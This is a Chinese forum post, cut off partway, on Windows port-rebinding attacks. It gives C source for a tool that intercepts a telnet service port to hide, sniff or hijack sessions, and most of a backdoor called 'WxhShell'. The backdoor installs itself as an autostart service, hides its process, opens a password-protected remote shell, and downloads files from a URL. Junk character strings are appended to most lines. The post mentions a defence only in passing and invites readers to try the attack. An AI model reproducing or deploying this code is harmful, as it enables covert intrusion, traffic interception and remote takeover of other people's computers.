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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: g5y;?fqJ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %*kLEA*v  
r0\?WoF2C  
  saddr.sin_family = AF_INET; g`n;R  
%(`#A.yaE  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sK&,):"]R  
X D)  8?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "b]#MO}P  
?g3 ]~;#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 H8f]}  
U]1(&MgV  
  这意味着什么?意味着可以进行如下的攻击: %&+TbDE+T  
vZu~LW@1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B_ k2u  
o>F*Itr{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RPH1''*!  
cwe1^SJ6y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]CX[7Q+'  
, ECLqs%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (#|{%4g@>  
J-V49X#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [ ]^X`R  
Gf0,RH+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {U"^UuU]  
Yp1bH+/u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;Lo&}U3F,!  
u1Ek y/e-  
  #include JYm7@gx  
  #include KKEN'-3  
  #include DG[%Nhle  
  #include    -.iNNM&a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +th%enRB  
  int main() q'G,!];qL  
  { r?A|d.Tl  
  WORD wVersionRequested; ?D|\]0eN  
  DWORD ret; J!TBREK  
  WSADATA wsaData; ,*Z.  
  BOOL val; WR#0<cz(  
  SOCKADDR_IN saddr; 2(M6(xH>  
  SOCKADDR_IN scaddr; E4i0i!<z  
  int err; 6X)@ajGWg~  
  SOCKET s; FT89*C)oD  
  SOCKET sc; o' 'wCr%  
  int caddsize; BqH]-'1G  
  HANDLE mt; nfdq y)  
  DWORD tid;   ?La Ued'  
  wVersionRequested = MAKEWORD( 2, 2 ); *7$P]  
  err = WSAStartup( wVersionRequested, &wsaData ); P"3*lk+w  
  if ( err != 0 ) { 7N=-Y>$X  
  printf("error!WSAStartup failed!\n"); ^2JpWY:|7  
  return -1; =f1B,%7G+5  
  } p fT60W[m  
  saddr.sin_family = AF_INET; '+Xlw  
   O+~ 7l?o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]zfG~^.  
'5KeL3J;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r0]4=6U  
  saddr.sin_port = htons(23); Ysi  g T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [10zTU`  
  { Anm=*;*M`  
  printf("error!socket failed!\n"); %Ym^{N  
  return -1; )|bC^{kH!l  
  } 51B lM%  
  val = TRUE; 5W? v'"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I97yt[,Yy  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q MYe{{r  
  {  vZj`|  
  printf("error!setsockopt failed!\n"); 3AcD,,M>>  
  return -1; _-TA{21)  
  } XT>.`, sv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l fZ04M{2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 M~Ttb29{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'x"08v$  
^wb:C[r!V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LOy0hN-$b  
  { 5Por "&%  
  ret=GetLastError(); GB7/x*u   
  printf("error!bind failed!\n"); e4>"92hX  
  return -1; UBv@+\Y8m  
  } Y?J"wdWJNB  
  listen(s,2); yp.[HMRD  
  while(1) 2i{cQ96  
  { U?a6D:~G  
  caddsize = sizeof(scaddr); yifY%!@Xu  
  //接受连接请求 BQH}6ueZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &fa5laJb  
  if(sc!=INVALID_SOCKET) .iMN,+qP  
  { Cqii}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q#w8wH"  
  if(mt==NULL) ^O(=Vry  
  { Isy'{ -H  
  printf("Thread Creat Failed!\n"); a, Q#Dk  
  break; 0& >H^  
  } 'H8(=9O1d  
  } bHLT}x/Gw  
  CloseHandle(mt); 4(6b(]G'#  
  } 7/7Z`  
  closesocket(s); ,GWNL m\5  
  WSACleanup(); )SryDRT  
  return 0; .MQ^(  
  }   bV8g|l-4(  
  DWORD WINAPI ClientThread(LPVOID lpParam) qyC=(v  
  { [/s&K{+c  
  SOCKET ss = (SOCKET)lpParam; -=s(l.?Hm5  
  SOCKET sc; g~V+4+  
  unsigned char buf[4096]; HK\~Qnq  
  SOCKADDR_IN saddr; lif&@o f  
  long num; wo_,Y0vfB  
  DWORD val; (Yo>Oh4  
  DWORD ret; Y!iZW  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N7E$G{TT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <)+y=m\eJ  
  saddr.sin_family = AF_INET; (=D&A<YX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z [`@}}Q  
  saddr.sin_port = htons(23); A_Frk'{qhB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f&v9Q97=  
  { =X.LA%Sf=u  
  printf("error!socket failed!\n"); D}8EERb  
  return -1; l Va &"   
  } BIuK @$  
  val = 100; {(r6e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q.K,%(^;a  
  { ca+5=+X7  
  ret = GetLastError(); 8@so"d2e  
  return -1; n; {76Q  
  } jKt7M>P  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k)EX(T\  
  { 2eMTxwt*S  
  ret = GetLastError(); A}eOFu`  
  return -1; p]3?gK-  
  } /SYw;<=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,VO2a mI  
  { N-lkYL-%\j  
  printf("error!socket connect failed!\n"); &b:1I 7Cp*  
  closesocket(sc); Gea\,{E9xA  
  closesocket(ss); 5\z `-)  
  return -1; 1GzAG;UUo6  
  } t.mVO]dsj  
  while(1) (o`{uj{!  
  { eM8}X[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3Z1CWzq(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l\i)$=d&g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9T<x&  
  num = recv(ss,buf,4096,0); d3xmtG {i  
  if(num>0) -B +4+&{T  
  send(sc,buf,num,0); eio 4k-  
  else if(num==0) M3.do^ss  
  break; @;"|@!l|  
  num = recv(sc,buf,4096,0); |ZmUNiAa  
  if(num>0) (!:,+*YY  
  send(ss,buf,num,0); kGl~GOB a  
  else if(num==0) ui?  
  break; @{2 5xTt  
  } 5aCgjA11  
  closesocket(ss); ez| )ph7  
  closesocket(sc); m;,N)<~  
  return 0 ; #{;k{~;PF  
  } E 7{U |\  
m^zUmrj[  
y+NN< EY@  
========================================================== y gz6C  
tS6qWtE  
下边附上一个代码,,WXhSHELL wfH^<jY)E  
Te[n,\Nb  
========================================================== Vh4X%b$TV  
NPp;78O0[  
#include "stdafx.h" GB=X5<;  
vQ 6^xvk]  
#include <stdio.h> XwJ7|cB  
#include <string.h> ]Gsv0Xk1  
#include <windows.h> WvY? +JXJ  
#include <winsock2.h> Jcd-  
#include <winsvc.h> Tw-;7Ae  
#include <urlmon.h> rD 3v$B  
.(cw>7e3D  
#pragma comment (lib, "Ws2_32.lib") X4~y7  
#pragma comment (lib, "urlmon.lib") (5-FVp fb  
uxr #QA  
#define MAX_USER   100 // 最大客户端连接数 \"P%`  C  
#define BUF_SOCK   200 // sock buffer b gK}-EU  
#define KEY_BUFF   255 // 输入 buffer rX2.i7i,  
yb\_zE\  
#define REBOOT     0   // 重启 GjvOM y  
#define SHUTDOWN   1   // 关机 \!.B+7t=I  
*XIF)Q=<>  
#define DEF_PORT   5000 // 监听端口 -lY6|79bF  
+~ P2C6@G  
#define REG_LEN     16   // 注册表键长度 vdc\R?  
#define SVC_LEN     80   // NT服务名长度 -&zZtDd F  
|ATvS2  
// 从dll定义API &w_j/nW^'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ng2twfSl$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'c9]&B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .WZ^5>M-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <L8'!q}  
, /Z%@-rF  
// wxhshell配置信息 K0|FY=#2y  
struct WSCFG { X^wt3<Kbf  
  int ws_port;         // 监听端口 RbOUfD(J4  
  char ws_passstr[REG_LEN]; // 口令 V^bwXr4f  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1#< '&Lr  
  char ws_regname[REG_LEN]; // 注册表键名 "o-z y'I  
  char ws_svcname[REG_LEN]; // 服务名 dy%;W%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %K=?@M9i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /NI;P]s.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BYL)nCc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1Y\DJ@lh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6*78cg Io  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2lH&  
=(j1rW!  
}; X9W@&zQ  
un mJbY;t  
// default Wxhshell configuration a/4T> eC  
struct WSCFG wscfg={DEF_PORT, l *(8i ^  
    "xuhuanlingzhe", &R'c.  
    1, +SR+gE\s0  
    "Wxhshell",  dVtG/0  
    "Wxhshell", /|6N*>l)y  
            "WxhShell Service", ;#W2|'HD  
    "Wrsky Windows CmdShell Service", 2j [=\K]  
    "Please Input Your Password: ", EIP /V  
  1, ~ D j8 z+^  
  "http://www.wrsky.com/wxhshell.exe", [Gb. JO}X  
  "Wxhshell.exe" [6Izlh+D  
    }; y@S$^jk.  
!GjQPAW  
// 消息定义模块 ]g3JZF-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y&$A+peJ1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =7=]{Cx[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3wF;GG  
char *msg_ws_ext="\n\rExit."; G5BfNU  
char *msg_ws_end="\n\rQuit."; @Md/Q~>  
char *msg_ws_boot="\n\rReboot..."; b|:YIXml  
char *msg_ws_poff="\n\rShutdown..."; `KoV_2|  
char *msg_ws_down="\n\rSave to "; 2`K=Hby  
lgL%u K)  
char *msg_ws_err="\n\rErr!"; oWT3apGO  
char *msg_ws_ok="\n\rOK!"; Mk 6(UXY  
`r6,+&  
char ExeFile[MAX_PATH]; W aRw05r  
int nUser = 0; &jJL"gq"  
HANDLE handles[MAX_USER]; (=AWOU+  
int OsIsNt; ,?%Zc$\LW  
9s q  
SERVICE_STATUS       serviceStatus; l_d5oAh   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `4J$Et%S  
$ bR~+C  
// 函数声明 x=P\qjSa  
int Install(void); Se}c[|8  
int Uninstall(void); 97*p+T<yp  
int DownloadFile(char *sURL, SOCKET wsh); C ;W"wBz9  
int Boot(int flag); rglXs  
void HideProc(void); -uG +BraI  
int GetOsVer(void); :P~6~ K um  
int Wxhshell(SOCKET wsl); 4xje$/_d  
void TalkWithClient(void *cs); 7>%8eEc  
int CmdShell(SOCKET sock); B~ GbF*j  
int StartFromService(void); .|70;  
int StartWxhshell(LPSTR lpCmdLine); /$?}Y L,  
[}=B8#Jl-C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6%_nZvRv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vpr.Hn  
F^;ez/Gl  
// 数据结构和表定义 R__OP`!  
SERVICE_TABLE_ENTRY DispatchTable[] = ^6V[=!& H  
{ [RhO$c$[\  
{wscfg.ws_svcname, NTServiceMain},  eq;uO6[  
{NULL, NULL} f.$af4 u  
}; 0'C1YvF  
*.t 7G  
// 自我安装 @qAS*3j  
int Install(void) #)O6 5GI  
{ V U3upy<  
  char svExeFile[MAX_PATH]; %P|/A+Mg"  
  HKEY key; sUQ@7sTj  
  strcpy(svExeFile,ExeFile); /nA{#HY  
d\8l`Krs[_  
// 如果是win9x系统,修改注册表设为自启动 iqWQ!r^  
if(!OsIsNt) { `M8i92V\qY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?Z/V~,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kn1a>fLaJ_  
  RegCloseKey(key); /y}xX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '5$b-x6F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )jP1or  
  RegCloseKey(key); %>{0yEC  
  return 0; 8&slu{M- t  
    } 4|DWOQ':  
  } kt:! 7  
} r;N|)  
else { 3 Za}b|  
`b$.%S8uj=  
// 如果是NT以上系统,安装为系统服务 MQ6KN(?\ZL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6j}9V L77  
if (schSCManager!=0) fNFY$:4X  
{ Lp9E:D->  
  SC_HANDLE schService = CreateService v.qrz"98-  
  ( KbeC"mi  
  schSCManager, 9\7en%(M  
  wscfg.ws_svcname, vdwsJPFbc  
  wscfg.ws_svcdisp, N(yz k_~  
  SERVICE_ALL_ACCESS, S)@j6(HC4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `;egv*!P  
  SERVICE_AUTO_START, Cp0=k  
  SERVICE_ERROR_NORMAL, utV_W&  
  svExeFile, =T7.~W  
  NULL, ,z=LY5_z)  
  NULL, A.w.rVDD  
  NULL, k!Y, 63V=  
  NULL, )9]PMA?u  
  NULL 9hyn`u.  
  ); EfT=?  
  if (schService!=0) CU!Dhm/U  
  { TB31- ()  
  CloseServiceHandle(schService); dk^~;m#iN  
  CloseServiceHandle(schSCManager); `Urhy#LC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \s\?l(ooq"  
  strcat(svExeFile,wscfg.ws_svcname); hM! a_'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k+*u/neh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^S; -fYW2  
  RegCloseKey(key); 6_B]MN!(  
  return 0; VUuE T  
    } 5[0?g@aO  
  } .T`%tJ-Em  
  CloseServiceHandle(schSCManager); n `Ac 3A  
} J<lW<:!3]  
} (/$^uWj  
<C*hokqqP  
return 1; 1|:KQl2q  
} 0=$T\(0g  
*0ro0Z|Iq  
// 自我卸载 uXiN~j &Be  
int Uninstall(void) |w3M7;~eF  
{ `WS&rmq&'  
  HKEY key; B33\?Yj)  
*m(=V1"  
if(!OsIsNt) { nJ;.Td  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qxc[M8s  
  RegDeleteValue(key,wscfg.ws_regname); qe\5m.k  
  RegCloseKey(key); N$tGQ@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J .<F"r>  
  RegDeleteValue(key,wscfg.ws_regname); vih9 KBT  
  RegCloseKey(key); fN2lLn9/u  
  return 0; W*Y/l~x}  
  } \{D" !e  
} Zwx%7l;C  
} =EsavN  
else { |':{lH6+1  
 0+8e,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G+m }MOQP7  
if (schSCManager!=0) xYB{;K  
{ & 5R&k0i r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H,NF;QPPC  
  if (schService!=0) rZpXPI  
  { 1E$|~   
  if(DeleteService(schService)!=0) { "Y.y:Vv;  
  CloseServiceHandle(schService); 2A!FDr~cdT  
  CloseServiceHandle(schSCManager); phz&zl D  
  return 0; 5-A\9UC*@  
  } dF2RH)Ud  
  CloseServiceHandle(schService); !Z6{9sKR=]  
  }  AOx[  
  CloseServiceHandle(schSCManager); c*M} N?|6  
} %jM,W}2  
} K<J9 ~  
P93@;{c(  
return 1; F:ELPs4"  
} FiU#T.`9'  
Ir]\|t  
// 从指定url下载文件 54qFfN8O  
int DownloadFile(char *sURL, SOCKET wsh) {GUF;V ^  
{ WF"k[2  
  HRESULT hr; ch]29  
char seps[]= "/"; B/C,.?Or  
char *token; R}ecc  
char *file; x)VJFuqy  
char myURL[MAX_PATH]; Q@HV- (A  
char myFILE[MAX_PATH]; +/\6=).\  
i6N',&jFU  
strcpy(myURL,sURL); o"SMbj  
  token=strtok(myURL,seps); E} .^kc[(4  
  while(token!=NULL) \j.:3X r  
  { {XHh8_ ^&  
    file=token; h7@6T+#WoT  
  token=strtok(NULL,seps); ]%(2hY~i  
  } "w _aM7x_  
9>$p  
GetCurrentDirectory(MAX_PATH,myFILE); Dhv3jg;lq  
strcat(myFILE, "\\"); ,[;G|et  
strcat(myFILE, file); BORA(,  
  send(wsh,myFILE,strlen(myFILE),0); w=@Dv  
send(wsh,"...",3,0); SY8C4vb'h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mcok/,/  
  if(hr==S_OK) rQ9'bCSr%  
return 0; ~_ a-E  
else 'H!XUtFs"  
return 1; MY/}-* |  
iR0y"Cii  
} :i7;w%B  
"*H`HRi4T  
// 系统电源模块 yppo6HGD  
int Boot(int flag) -%dCw6aX+  
{ A(0lM`X  
  HANDLE hToken; |)G<,FJQE_  
  TOKEN_PRIVILEGES tkp; -{+}@?  
KG5>]_GH  
  if(OsIsNt) { Lh<).<S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8.~kK<)!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &"q=5e2  
    tkp.PrivilegeCount = 1; 1i ] ^{;]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y4(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JMM W  
if(flag==REBOOT) { i 3SHg\~Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >"<Wjr8W!$  
  return 0; bs'n+:X `  
} o8vug$=Z  
else { b_):MQ1{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ri.I pRe  
  return 0; a@*\o+Su  
} e~':(/%|5;  
  } C6y&#uX\  
  else { $tS}LN_!  
if(flag==REBOOT) { MqUH',\3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <"|,"hA  
  return 0; AzxXB  
} e 3TI|e_  
else { NN`uI6=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K96<M);:g  
  return 0; +?!(G}5  
} i7>tU=  
} bY0|N[ g  
F@:'J\I}:  
return 1; VU d\QR-  
} I 2|Bg,e  
#YOA`m,'  
// win9x进程隐藏模块 uR r o?m<  
void HideProc(void) 3Ims6I]  
{ &pp|U}  
Y.r+wc]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xK\d4 "  
  if ( hKernel != NULL ) I(0~n,=j  
  { hfy_3}_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d{7 +w/Zi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /gkX38  
    FreeLibrary(hKernel); H+Sz=tg5  
  } KyQX!,rV  
w: Kl6"c  
return; #?9;uy<j.q  
} ~La>?:g <+  
l2P=R)@{  
// 获取操作系统版本 `lt"[K<  
int GetOsVer(void) X(-4<B  
{ 7s{GbU\  
  OSVERSIONINFO winfo; [mGLcg6Fw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;x@~A^<el  
  GetVersionEx(&winfo); 4Ic*9t3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W]5w \  
  return 1; ?oHpFlj  
  else r #cGop]  
  return 0; d,n 'n  
} ? '{SX9  
sI^Xb@'09$  
// 客户端句柄模块 VZmLS 4E  
int Wxhshell(SOCKET wsl) +s DV~\Vu  
{ l&Q`wR5e  
  SOCKET wsh; -fHy-Oh  
  struct sockaddr_in client; oEKvl3Hz_  
  DWORD myID; wyO4Y  
X LOh7(  
  while(nUser<MAX_USER) 'Xq| Kf (  
{ X!dYdWw*m  
  int nSize=sizeof(client); ]>nk"K!%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f5VLw`m}.8  
  if(wsh==INVALID_SOCKET) return 1; sZ/v^ xk  
54R#W:t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GM f `A,>  
if(handles[nUser]==0) C mWgcw1  
  closesocket(wsh); LR.<&m%~.  
else fN^8{w/O  
  nUser++; %%gc2s  
  } qwgPk9l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =QiI :|eRA  
zFff`]^`  
  return 0; %oa-WmWm  
} ?:I*8Fj  
3E $f)  
// 关闭 socket 9BBmw(M}  
void CloseIt(SOCKET wsh) Tc`=f'pP)4  
{ f=gW]x7'R+  
closesocket(wsh); Y}|X|!0x  
nUser--; ;1O_M9  
ExitThread(0); YdC6k?tzS  
} q"sed]  
!_D0vI;  
// 客户端请求句柄 gANuBWh8T  
void TalkWithClient(void *cs) O6a<`]F  
{ (WO]Xq<  
/saIs%(fU  
  SOCKET wsh=(SOCKET)cs; f:|1_j  
  char pwd[SVC_LEN]; A,hJIe  
  char cmd[KEY_BUFF]; Ed,~1GanY  
char chr[1]; ~{B7 k:  
int i,j; @oY~..d`  
m6&~HfwN  
  while (nUser < MAX_USER) { KNpl:g3{<Q  
{9;CNsd  
if(wscfg.ws_passstr) { |[ k.ii6iO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BsqP?/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ex9g?*Q  
  //ZeroMemory(pwd,KEY_BUFF); =9["+;\e&  
      i=0; {V$|3m>:*  
  while(i<SVC_LEN) { E=CsIK   
tip+q d  
  // 设置超时 G"U9E5O  
  fd_set FdRead; M!A}NWF  
  struct timeval TimeOut; ," Wr"  
  FD_ZERO(&FdRead); &5spTMw8  
  FD_SET(wsh,&FdRead); (*nT(Adk  
  TimeOut.tv_sec=8; EZy)A$|  
  TimeOut.tv_usec=0; bv9i*]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); otl0J Ht*+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UkT=W!cq  
|\<`Ib4j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;R5`"`  
  pwd=chr[0]; qL&[K>2z  
  if(chr[0]==0xd || chr[0]==0xa) { W5lR0)~#*  
  pwd=0; O=&0H|B  
  break; djQH1^ (IU  
  } S)k*?dQ##R  
  i++; KRLQ #,9  
    } T`.O'!  
5k3n\sqZA  
  // 如果是非法用户,关闭 socket +0%w ;'9z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }~j lj  
} ,p@y] cr  
./k/KSR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pb?c$n$u*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); axRV:w;E<  
;%5N%0,  
while(1) {  u\x}8pn  
V>%rv'G8  
  ZeroMemory(cmd,KEY_BUFF); GT!M[*[  
vNY{j7l/W  
      // 自动支持客户端 telnet标准   gJXq^~-hd  
  j=0; nFg~< $d  
  while(j<KEY_BUFF) { <#y[gTJ<'>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '&R2U_  
  cmd[j]=chr[0]; d>&,9c%  
  if(chr[0]==0xa || chr[0]==0xd) { | y# Jx  
  cmd[j]=0; Y3cMC)  
  break; N1S{suic  
  } %2/EaaR  
  j++;  E`0?  
    } |'8Nh  
'8. r-`l(  
  // 下载文件 ?.-wnz  
  if(strstr(cmd,"http://")) { o>i4CCU+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /P3 <"?#k  
  if(DownloadFile(cmd,wsh)) UWJ8amA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m6K}|j  
  else F>6|3bOR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sPQQ"|wU  
  } GPv1fearl  
  else { |A9F\A->4  
vHc%z$-d  
    switch(cmd[0]) { #PW9:_BE  
   c(E{6g?  
  // 帮助 Jk11fn;\>  
  case '?': { 8oseYH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0c]/bs{}  
    break; J26 VnK  
  } !cLo> ,4  
  // 安装 KVaiugQ   
  case 'i': { |?xN\O^#}  
    if(Install()) oj<gD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8)3*6+D  
    else o#gWbAG;]b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f:w?pE  
    break; I@~QV@U  
    } aEWWP]  
  // 卸载 j#x6  
  case 'r': { mb3"U"ohs  
    if(Uninstall()) |O+H[;TB6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w<3#1/g!2B  
    else F6|]4H.3Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D|p9qe5%  
    break; >dD@j:Qc  
    } :#ik. D  
  // 显示 wxhshell 所在路径 5yo%$i8I  
  case 'p': { T!kN)#S  
    char svExeFile[MAX_PATH]; RJ&RTo  
    strcpy(svExeFile,"\n\r"); =zPCrEk0  
      strcat(svExeFile,ExeFile); E_wCN&`[  
        send(wsh,svExeFile,strlen(svExeFile),0); $6 9&O  
    break; -20bPiM$A  
    } h"Q8b}$^)  
  // 重启  `25yE/  
  case 'b': { 5 PJhEB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,PW'#U:  
    if(Boot(REBOOT)) uyWunpT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [yQt^!;  
    else { KYI/  
    closesocket(wsh); Eyqa?$R  
    ExitThread(0); CwzZ8.o$i  
    } p)-^;=<B3  
    break; 0i>5<ej,f  
    } rJ4S%6w  
  // 关机 lgy <?LI\  
  case 'd': { !i}w~U<  
